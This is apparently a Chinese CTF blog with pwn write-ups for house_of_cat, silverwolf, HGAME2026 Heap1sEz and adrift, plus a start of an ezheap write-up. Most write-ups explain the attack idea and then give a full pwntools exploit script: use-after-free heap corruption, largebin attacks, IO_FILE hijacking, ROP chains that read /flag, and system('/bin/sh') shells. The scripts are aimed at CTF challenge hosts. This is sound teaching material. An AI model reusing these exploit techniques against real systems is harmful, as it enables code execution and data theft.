UAF on RatherHard の Blog

NSSCTF-CISCN-2022-house_of_cat 题解

Sat, 07 Mar 2026 00:58:00 +0000

题目

题目链接

checksec

seccomp

只能 orw ，但是限制 read 的 fd 为 0 ，于是可以先 close(0) 再 orw

IDA

main

handle_command

parse_command

需要逆向解析出指令格式

execute_command

套一层指令解析的菜单题

add

只能申请 largerequest 0x420~~0x470 ，放入 largebin 的话， 0x420~~0x430 一个 bin ， 0x440~0x470 一个 bin

edit

edit 限制为两次，只能写 0x30

show

用于 leak

delete

有 UAF

攻击思路

先分析出命令格式： COMMAND | r00tQWB QWXFarg

然后发现要 login 成为管理员，再 cat 拿菜单

1
2


LOGIN | r00tQWB QWXFadmin
CAT | r00tQWB QWXF\xff

之后就是堆题

只能申请固定范围内的 largebin ，考察 largebin attack 技巧，而 edit_count 的限制让这题变得棘手

largebin attack 令 largebin1->bk_nextsize = target - 0x20 然后 free 一个小一点的 largebin2 进入同一个 bin 效果： target = largebin2

由于程序无法正常退出，我们需要利用两次 largebin attack ：一次劫持 stderr 结构体指针，把它覆盖成可控堆地址再在可控堆地址上写 fake IO_FILE 结构体；另一次利用错位篡改 topsize 为一个较小值，这样可以触发 sysmalloc 中的一个 __malloc_assert ，从而执行 fake stderr 中 house of apple2 流程。这两次攻击会耗尽 edit_count

在阅读 largebin 相关源码时我们注意到，一个 chunk 从 unsortedbin 转移到 largebin 时，如果它是最小的，那么就会触发 largebin attack 的核心流程：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

注意到这里的 fwd->fd 即 largebin中最大的 chunk ，这意味着我们进行的两次 largebin attack 都需要劫持该 chunk 的 bk_nextsize

顺带提一个小技巧：在 leak libc 和 leak heap 前，我们已经布置好了堆上的分隔式结构防止发生合并，但是我们还需要借助 libc 和 heap 数据去构造 fake stderr , fake _wide_data , fake srop struct , rop chain ，而 edit 只允许写 0x30 的数据，因此我们可以把目标 chunk 给 delete 后再马上 add 回并写入伪造结构，这样不会有任何其他影响

完成 largebin attack 后，接下来我们选择 house of apple2 的 IO_FILE 调用链为：

1
2
3


__malloc_assert ---> _fxprintf ---> locked_vfxprintf ---> __vfprintf_internal ---> 
_IO_wfile_overflow ---> _IO_wdoallocbuf ---> _IO_WDOALLOCATE ---> 
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

这里我根据自己的理解，把调用链分成了三层：

第一层是执行 fake stderr 中的 fake vtable 的虚表指针之前的部分，这部分除了正常 house of apple2 的 fake stderr 要伪造的内容外，还有一些额外的内容需要伪造，不属于 house of apple2 调用链

第二层属于 house of apple2 调用链，在跳转的 target rip 之前

第三层即跳转至 target rip

这里给出 roderick 大佬的 house of apple2 的构造方式：

_flags 设置为 ~(2 | 0x8 | 0x800) ，如果不需要控制 rdi ，设置为 0 即可；

vtable 设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用 _IO_wfile_overflow 即可；

_wide_data 设置为可控堆地址 A ，即满足 *(fp + 0xa0) = A

_wide_data->_IO_write_base 设置为 0 ，即满足 *(A + 0x18) = 0

_wide_data->_IO_buf_base 设置为 0 ，即满足 *(A + 0x30) = 0

_wide_data->_wide_vtable 设置为可控堆地址 B ，即满足 *(A + 0xe0) = B

_wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C

对于本题，还应：

_lock 设置为可读写地址，不要影响到其他部分，即满足 *(fp + 0x88) = rw_addr

此外，还要注意一个细节：堆地址比写入地址低 0x10

到这里，伪造结构基本布置完毕，然后是 setcontext 环节

这里以 rdx 为基准，经动态调试得知， rdx 会被赋值为 _wide_data ，即 *(fp + 0xa0) ，这是在调用链第一层末尾完成的

这一步做完后，愉快地打 rop 就行啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./house_of_cat_patched')
else:
	io = remote('node4.anna.nssctf.cn', 25341)

libc = ELF('./libc.so.6')

def login():
	io.sendlineafter(b'mew~~~~~~\n', b'LOGIN | r00tQWB QWXFadmin\x00')

def cat():
	io.sendlineafter(b'mew~~~~~~\n', b'CAT | r00tQWB QWXF\xff\x00')

def add(idx, size, content):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	io.sendafter(b'content:\n', content)

def delete(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'2')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'3')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def edit(idx, content):
	cat()
	io.sendlineafter(b'choice:\n', b'4')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendafter(b'content:\n', content)

def malloc_assert(idx, size):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	
def final_attack_gen(heap):
	fake_io_base = heap + 0xb60
	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f497
	syscall_ret = libc.address + 0x91396
	rop_chain = flat([
		3,
		pop_rdi_ret,
		0,
		syscall_ret,		# close(0)
		pop_rax_ret,
		2,
		pop_rdi_ret,
		fake_io_base + 0x100,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		0,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(0, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])
	fake_io_and_rop = flat({
		0x78: heap,
		0x88: libc.sym['setcontext'] + 0x3d,
		0x90: fake_io_base + 0x110,
		0xC8: libc.sym['_IO_wfile_jumps'] - 0x20,
		0xf0: b'/flag\x00',
		0x168: libc.sym['setcontext'] + 0x3d,
		0x1a0: fake_io_base + 0x210,		# rsp
		0x1a8: pop_rax_ret,		# rip
		0x1e0: fake_io_base + 0x110,
		0x200: rop_chain
		},
		filler=b"\x00"
	)
	return fake_io_and_rop

def attack():
	login()

	add(0, 0x458, b'AAA')		# init
	add(1, 0x468, b'ZZZ')
	add(2, 0x448, b'BBB')
	add(3, 0x468, b'ZZZ')
	add(4, 0x438, b'CCC')

	delete(0)		# leak
	add(5, 0x468, b'ZZZ')
	show(0)
	io.recvuntil(b'Context:\n')
	fd = u64(io.recv(6).ljust(8, b'\x00'))
	libc.address = fd - 0x21a0e0
	log.info(f'libc = {hex(libc.address)}')
	stderr = libc.symbols['stderr']
	io.recv(10)
	fdn = u64(io.recv(6).ljust(8, b'\x00'))
	heap = fdn - 0x290
	log.info(f'heap = {hex(heap)}')

	delete(2)		# fix
	add(6, 0x448, final_attack_gen(heap))
	
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(stderr - 0x20))		# largebin attack - stderr
	delete(6)
	add(7, 0x468, b'ZZZ')

	topsize_tar = heap + 0x2140 + 8 - 5		# largebin attack - topsize
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(topsize_tar - 0x20))
	delete(4)
	gdb.attach(io)

	malloc_assert(8, 0x468)
	io.interactive()

attack()

# COMMAND | r00tQWB QWXFARG
# LOGIN | r00tQWB QWXFadmin
# CAT | r00tQWB QWXF\xff
# rsp 0xa0; rcx(rip) 0xa8;

NSSCTF-CISCN-2021-silverwolf 题解

Thu, 26 Feb 2026 20:41:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

initbuf

有沙箱，需要 orw

allocate

同一时间只能掌控一个 chunk ，最大为 0x78

edit

show

用于 leak

delete

有 UAF

攻击思路

挺棘手的，这道题目没有任何 leak pie 和 leak stack 的手段，只能 leak libc 和 leak heap

利用 UAF 和 tcache 机制我们可以轻松 leak heap ，并把 tcache_pthread_struct 扔进 unsorted_bin 以 leak libc ，同时还可以保留 tcache_pthread_struct 的写入权限

劫持到 tcache_pthread_struct 后有一个好处：我们获得了 tcache_entries 的控制权，这意味着我们可以轻松指定下一次指定大小的 chunk 的分配地址，这有利于我们布置 rop 链以及接下来的 setcontext 技巧

由于我们没办法直接劫持程序流程，而且要实现 orw 的话直接劫持 free_hook 不够（参数个数原因），因此我们考虑栈迁移并构造 rop 链

我们将栈迁移的目标设置在堆上，而要实现栈迁移，我们可以将 free_hook 劫持为 setcontext + 0x35 ，传入的 rdi 为寄存器布局的地址，即可实现类似 srop 的效果

setcontext

这里第一个 rcx 即 rip

接下来我使用了一点小巧思：我们不直接写入 orw 的 rop 链，因为这样太长，需要分段写入，所以我们可以先调用 read syscall 在 rsp 的目标地址一次性写入 rop 链

因此我们需要操纵的寄存器有

1
2
3
4
5
6


rax = 0
rdi = 0
rsi = heap_addr + rop_offset
rdx = 0x400
rsp = heap_addr + rop_offset
rip = syscall_ret_addr

然后在新获得的写入机会中写入完整的 orw 攻击链即可拿到 flag

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./silverwolf_patched')
else:
	io = remote('node4.anna.nssctf.cn', 22853)

def allocate(size):
	io.sendlineafter(b'Your choice: ', b'1')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Size: ', str(size).encode())

def edit(content):
	io.sendlineafter(b'Your choice: ', b'2')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Content: ', content)

def show():
	io.sendlineafter(b'Your choice: ', b'3')
	io.sendlineafter(b'Index: ', b'0')

def delete():
	io.sendlineafter(b'Your choice: ', b'4')
	io.sendlineafter(b'Index: ', b'0')

def exit():
	io.sendlineafter(b'Your choice: ', b'5')

def attack():
	allocate(0x78)
	delete()
	show()
	io.recvuntil(b'Content: ')
	heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
	log.info(f'heap_base = {hex(heap_base)}')

	edit(p64(heap_base + 0x10) + p64(0))
	allocate(0x78)
	allocate(0x78)
	edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0)))
	delete()
	show()
	io.recvuntil(b'Content: ')
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
	log.info(f'libc_base = {hex(libc_base)}')
	
	free_hook = 0x3ed8e8 + libc_base
	setcontext = 0x521b5 + libc_base
	xor_rax_ret = 0xb15a5 + libc_base
	pop_rdx_pop_rsi_ret = 0x130569 + libc_base
	syscall_ret = 0xd2745 + libc_base
	pop_rax_ret = 0x43ae8 + libc_base
	pop_rdi_ret = 0x215bf + libc_base
	stack_pivoting0 = 0x10000 + heap_base
	stack_pivoting1 = 0x10000 + heap_base + 0x70
	stack_pivoting2 = 0x10000 + heap_base + 0xa0
	edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0))
	allocate(0x18)
	edit(b'/flag\x00\x00\x00' + p64(setcontext))
	log.info(f'free_hook_addr = {hex(free_hook)}')
	log.info(f'set_context_addr = {hex(setcontext)}')
	
	allocate(0x28)
	srop2 = flat([
		p64(heap_base + 0x58), 
		p64(syscall_ret)])
	edit(srop2)

	allocate(0x38)
	srop1 = flat([
		p64(heap_base + 0x58), 
		p64(0) * 2, 
		p64(0x400)])
	edit(srop1)

	allocate(0x48)
	delete()

	orw = flat([
		p64(pop_rdi_ret), 
		p64(free_hook - 0x08), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0), 
		p64(0), 
		p64(pop_rax_ret), 
		p64(2), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(3), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(xor_rax_ret), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(1), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(pop_rax_ret), 
		p64(1), 
		p64(syscall_ret)])
	io.send(orw)

	io.interactive()

attack()

HGAME2026-pwn WriteUp

Tue, 10 Feb 2026 01:38:00 +0000

Heap1sEz

checksec

canary and pie

malloc.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192


#include <malloc.h>
#include <assert.h>
#include <stdio.h>
const int MALLOC_ALIGN_MASK = 2 * (sizeof(INTERNAL_SIZE_T)) -1;
const int SIZE_SZ = (sizeof(INTERNAL_SIZE_T));
void *start = NULL;
hook_t hook = NULL;
struct malloc_state main_arena;
struct malloc_par mp_ = {
 .top_size = TOP_CHUNK_SIZE
};
static void *sysmalloc (INTERNAL_SIZE_T nb, mstate av) __attribute__((noinline));
static void malloc_init_state (mstate av) __attribute__((noinline));
static void unlink_chunk (mchunkptr p) __attribute__((noinline));
void *malloc (size_t bytes){
 INTERNAL_SIZE_T nb;
 INTERNAL_SIZE_T size;
 INTERNAL_SIZE_T remainder_size;

 mchunkptr victim;
 mchunkptr remainder;

 void *p;
 
 nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);

 //first request
 if(main_arena.top == NULL){
 malloc_init_state(&main_arena);
 p = sysmalloc(nb, &main_arena);
 return p;
 }

 //unsorted bin
 while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
 size = chunksize(victim);
 /* split */
 if(size >= nb){
 if(size - nb >= MINSIZE){
 remainder_size = size - nb;
 remainder = victim;
 victim = chunk_at_offset(remainder, remainder_size);
 set_head(victim, nb);
 set_inuse(victim);
 set_head_size(remainder, remainder_size);
 set_foot(remainder, remainder_size);
 p = chunk2mem(victim);
 return p;
 }
 else{
 unlink_chunk(victim);
 set_inuse(victim);
 return chunk2mem(victim);
 }
 }
 }
 if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
 /* split */
 else{
 victim = main_arena.top;
 size = chunksize(victim);
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 main_arena.top = remainder;
 set_head (victim, nb | PREV_INUSE);
 set_head (remainder, remainder_size | PREV_INUSE);
 void *p = chunk2mem (victim);
 return p;
 }
 //can't reach here
 assert(0);
 return NULL;
}

void free(void *mem)
{
 mchunkptr p; /* chunk corresponding to mem */
 INTERNAL_SIZE_T size; /* its size */
 mchunkptr nextchunk; /* next contiguous chunk */
 INTERNAL_SIZE_T nextsize; /* its size */
 int nextinuse; /* true if nextchunk is used */
 INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
 mchunkptr bck; /* misc temp for linking */
 mchunkptr fwd; /* misc temp for linking */
 if (__builtin_expect (hook != NULL, 0))
 {
 (*hook)(mem);
 return;
 }
 if(mem == NULL){
 return;
 }
 p = mem2chunk (mem);
 size = chunksize(p);
 nextchunk = chunk_at_offset(p, size);
 nextsize = chunksize(nextchunk);
 /* consolidate backward */
 if (!prev_inuse(p)) {
 prevsize = prev_size (p);
 size += prevsize;
 p = chunk_at_offset(p, -((long) prevsize));
 if (__glibc_unlikely (chunksize(p) != prevsize))
 malloc_printerr ("corrupted size vs. prev_size while consolidating");
 unlink_chunk (p);
 }
 if (nextchunk != main_arena.top) {
 /* get and clear inuse bit */
 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
 /* consolidate forward */
 if (!nextinuse) {
	 unlink_chunk (nextchunk); 
	 size += nextsize;
 } else
	 clear_inuse_bit_at_offset(nextchunk, 0);
 bck = bin_at(&main_arena, 1);
 fwd = bck->fd;
 //if (__glibc_unlikely (fwd->bk != bck))
	//malloc_printerr ("free(): corrupted unsorted chunks");
 p->fd = fwd;
 p->bk = bck;
 bck->fd = p;
 fwd->bk = p;

 set_head(p, size | PREV_INUSE);
 set_foot(p, size);
 //check_free_chunk(av, p);
 }
 /*
 If the chunk borders the current high end of memory,
 consolidate into top
 */
 else {
 size += nextsize;
 set_head(p, size | PREV_INUSE);
 main_arena.top = p;
 //check_chunk(av, p);
 }
}

void *calloc(size_t count, size_t size) { TODO(); return NULL;}
void *realloc(void *ptr, size_t size) { TODO(); return NULL;}
void *reallocf(void *ptr, size_t size) { TODO(); return NULL;}
void *valloc(size_t size) { TODO(); return NULL;}
void *aligned_alloc(size_t alignment, size_t size) { TODO(); return NULL;}
static void
unlink_chunk (mchunkptr p)
{
 if (chunksize (p) != prev_size (next_chunk (p)))
 malloc_printerr ("corrupted size vs. prev_size");

 mchunkptr fd = p->fd; 
 mchunkptr bk = p->bk;

 //if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
 //malloc_printerr ("corrupted double-linked list");

 fd->bk = bk;
 bk->fd = fd;
}
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av){
 INTERNAL_SIZE_T size;
 mchunkptr p;

 size = nb + mp_.top_size;
 if(av->top == NULL){
 start = sbrk(0);
 p = sbrk(size);
 main_arena.top = chunk_at_offset(p, nb);
 set_head(p, nb | PREV_INUSE);
 set_foot(p, nb);
 set_head(main_arena.top, mp_.top_size | PREV_INUSE);
 return chunk2mem(p);
 }
 else{
 TODO();
 }
}
static void
malloc_init_state (mstate av)
{
 int i;
 mbinptr bin;

 /* Establish circular links for normal bins */
 for (i = 1; i < 2; ++i)
 {
 bin = bin_at (av, i);
 bin->fd = bin->bk = bin;
 }
}

魔改了 ptmalloc2 ，只留下 unsortedbin 功能，而且还有 size < nb 会卡死的问题

free 有 hook 可以劫持

IDA

main

菜单题

add

delete

free 后没清空，有 UAF

edit

UAF ，同时可用于实现 AAW

show

可泄露 unsortedbin 的哨兵地址，同时可用于实现 AAR

gift

劫持 hook

bss

攻击思路

注意到 usortedbin 的哨兵存在于 bss 段，考虑 free 掉一个 chunk 进入 usortedbin 去 leak pie ，注意避免该 chunk 被并入 top_chunk

然后通过在 bss 段上伪造包含 notes 区域的 fake chunk 并将 fake chunk 地址写入 free chunk 再 malloc 以获取 AAW 和 AAR 的能力

最后 leak libc 并劫持 hook 为 system ，再往一个 chunk 内写入 ‘/bin/sh\x00’ 并 free 掉即可提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31275)

libc = ELF('./libc.so.6')

ssiz = 0x30
prosiz = 0x100

def madd(idx, size):
	io.sendlineafter(b'>\n', b'1')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendlineafter(b'Size: ', str(size).encode())

def mdelete(idx):
	io.sendlineafter(b'>\n', b'2')
	io.sendlineafter(b'Index: ', str(idx).encode())

def medit(idx, cont):
	io.sendlineafter(b'>\n', b'3')
	io.sendlineafter(b'Index: ', str(idx).encode())
	io.sendafter(b'Content: ', cont)

def mshow(idx):
	io.sendlineafter(b'>\n', b'4')
	io.sendlineafter(b'Index: ', str(idx).encode())

def mexit():
	io.sendlineafter(b'>\n', b'5')

def mgift(addr):
	io.sendlineafter(b'>\n', b'6')
	io.sendlineafter(b'hook\n', hex(addr).encode())

def AAW(addr, cont):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	medit(0, cont)

def AAR(addr):
	medit(10, (p64(prosiz) * 4).ljust(0x30, b'\x00') + p64(addr))
	mshow(0)

def attack():
	madd(0, ssiz)
	madd(12, ssiz)
	mdelete(0)
	mshow(0)
	completed_0_addr = u64(io.recv(6).ljust(8, b'\x00'))
	pie_leak = completed_0_addr - 0x808
	log.info(f'pie_leak = {hex(pie_leak)}')

	saddr = pie_leak + 0x840
	medit(0, p64(saddr))
	madd(8, ssiz)
	medit(0, p64(completed_0_addr) + p64(saddr))
	madd(2, ssiz)
	madd(10, ssiz - 0x8)
	medit(10, p64(prosiz) * 4)

	AAR(pie_leak + 0x7a0)
	__libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00'))
	libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
	log.info(f'libc_base_addr = {hex(libc_base_addr)}')
	
	system_addr = libc_base_addr + libc.symbols['system']
	mgift(system_addr)
	AAW(pie_leak + 0xa00, b'/bin/sh\x00')
	mdelete(0)
	
	io.interactive()

attack()

adrift

checksec

Full RELRO 和 PIE

IDA

main

case 1 处发现可以使 i = 201 ，从而发生数组越界写向 dis 写入数据，同时有栈溢出

写入后清空栈上内容

case 3 可以填满 dis ，用于辅助 case 1 的越界写

init_canary

手动 canary ，放在栈上

delete

show

在 short int 下 -(-32768) = -32768 ，可以造成数组越界读取，且恰好读取到 canary ，同时可 leak stack

并注意到整个程序只有这里有读取，因此想要 leak pie 或 leak libc 必须要把数据写入 dis 中

bss

攻击思路

首先 leak canary ，然后通过把栈上数据 copy 到 dis 上去 leak pie

然后栈迁移到 bss 上去 leak stderr 从而拿到 libc 基址，注意此处不能 leak stdin ，因为向 dis 写入完成后原数据区域会被清空，导致后面的 scanf 处崩溃；也不能 leak got ，因为 Full RELRO ，且 case 1 有写入栈的操作

最后 ret2libc 即可

libc 版本我用 libcdb 没试出来，最后发现跟上一题一样

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./vuln_patched')
else:
	io = remote('cloud-middle.hgame.vidar.club', 31603)

def moverflow(cont, dirt):
	io.sendlineafter(b'choose> ', b'0')
	io.sendafter(b'way> ', cont)
	io.sendlineafter(b'distance> ', str(dirt).encode())

def mdelete(idx):
	io.sendlineafter(b'choose> ', b'1')
	io.sendlineafter(b'index> ', str(idx).encode())

def mshow(idx):
	io.sendlineafter(b'choose> ', b'2')
	io.sendlineafter(b'index> ', str(idx).encode())

def mdis(idx):
	io.sendlineafter(b'choose> ', b'3')
	io.sendlineafter(b'index> ', str(idx).encode())
	io.sendlineafter(b'distance> ', b'1')

def mexit():
	io.sendlineafter(b'choose> ', b'4')

def canary_leak():
	mshow(-32768)
	io.recvuntil(b': ')
	canary = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'canary = {hex(canary)}')
	return canary


def mleak(idx, name, offset):
	mshow(idx)
	io.recvuntil(b': ')
	leak = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
	log.info(f'{name} leak = {hex(leak - offset)}')
	libcdict_add(name, leak - offset)
	return leak - offset

def attack():
	for i in range(201):
		mdis(i)

	canary = canary_leak()

	moverflow(p64(0), 1)
	mshow(114)
	io.recvuntil(b': ')
	pie = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10) // 0x10000 - 0x040
	log.info(f'pie = {hex(pie)}')

	for i in range(201):
		mdis(i)

	midx = 100
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	bss_addr = pie + 0x4040
	bss_leaker = bss_addr + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(bss_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(0)
	leave_addr = pie + 0x1721
	payload = b'A' * (0x3fa - 0x10) + p64(canary) + b'A' * 8 + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mdelete(1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')

	midx = 150
	pov_addr = pie + 0x4080 + 0x518 * midx
	mdelete(midx)
	pov_leaker = pie + 0x4080 + 0x510 + 0x3fa
	again_addr = pie + 0x14F3
	payload = p64(pov_leaker) + p64(again_addr)
	moverflow(payload, 1)
	mdelete(2)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.sendlineafter(b'distance> ', b'1')
	stderr_leak = mleak(0, '_IO_2_1_stderr_', 0)

	for i in range(201):
		mdis(i)

	libc = ELF('./libc.so.6')
	libc_base = stderr_leak - libc.symbols['_IO_2_1_stderr_']
	log.info(f'libc_base = {hex(libc_base)}')

	for i in range(10):
		mdis(i)

	midx = 10
	pov_addr = pie + 0x4080 + 0x518 * midx
	rbp_addr = pie + 0x4080 + 0x518 * midx * 2
	pop_rdi_ret = libc_base + 0x2a3e5
	system_addr = libc_base + libc.symbols['system']
	bin_sh = libc_base + next(libc.search(b'/bin/sh'))
	mdelete(midx)
	ret_addr = pie + 0x1722
	payload = p64(rbp_addr) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
	moverflow(payload, 1)
	mdelete(0)
	payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
	moverflow(payload, 1)
	mexit()
	io.interactive()

attack()

BUUCTF-NewStarCTF-2023-ezheap 题解

Fri, 16 Jan 2026 21:49:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

add

一次 add 申请两个 chunk ，记为 head_chunk 和 content_chunk

delete

有明显的 UAF 漏洞

show

delete 后仍可以 show

edit

delete 后仍可以 edit

read_idx

read_size

攻击思路

由于一次 add 申请两个 chunk ，而一次 delete 只 free 掉 head_chunk 且不清空数据，而 delete 后仍可以 edit，所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权，进而利用 edit/show 实现 AAW/AAR

同时，在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ，我们可以利用 chunk 的残留值泄露堆地址，实现对堆的完全控制

然而由于我们并没有操作栈的机会，也没有办法劫持 got 表，因此我们考虑去劫持 __free_hook 函数，这需要泄露 libc 基址

由于 tcache 的结构存在于堆上，而 fastbin 为单向链表，我们没有办法通过它们去泄露 libc 基址，因此考虑 unsorted_bin ，因为进入 unsorted_bin 的 chunk 的 fd/bk 指向 arena ，而 arena 与 libc 基址的相对偏移固定

由于强行塞满 tcache 所需的 chunk 数量过多，不方便操作，因此我们考虑直接修改位于堆上的 counts 数组，使 tcache 看起来是满的

